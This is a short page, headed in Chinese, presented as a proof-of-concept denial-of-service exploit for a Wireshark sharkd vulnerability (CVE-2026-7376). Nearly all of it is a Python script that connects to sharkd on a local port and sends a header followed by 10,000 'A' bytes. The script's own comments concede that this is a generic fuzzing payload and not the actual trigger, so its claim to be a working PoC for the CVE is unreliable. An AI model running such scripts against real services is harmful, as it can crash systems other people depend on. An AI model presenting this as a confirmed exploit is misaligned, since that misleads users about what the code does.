CVE-2026-7376 Wireshark sharkd拒绝服务漏洞

import socket # PoC for CVE-2026-7376: Wireshark sharkd Denial of Service # This script demonstrates a potential trigger for the crash by sending malformed data to sharkd. # Note: Actual exploitation requires specific malformed packets based on the vulnerability details. def send_malicious_packet(host='127.0.0.1', port=44444): try: # Create a socket connection to the local sharkd service client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) # Construct a payload that simulates the triggering condition # This is a generic fuzzing payload; specific bytes depend on the dissection bug. payload = b"\x00\x00\x00\x01" + b"A" * 10000 print(f"[*] Sending payload to {host}:{port}...") client.send(payload) # Wait for response or timeout indicating crash client.settimeout(2) response = client.recv(1024) print(f"[+] Received response: {response}") except socket.timeout: print("[-] Connection timed out. Service may have crashed.") except ConnectionRefusedError: print("[-] Connection refused. Ensure sharkd is running.") except Exception as e: print(f"[!] An error occurred: {e}") finally: client.close() if __name__ == "__main__": send_malicious_packet()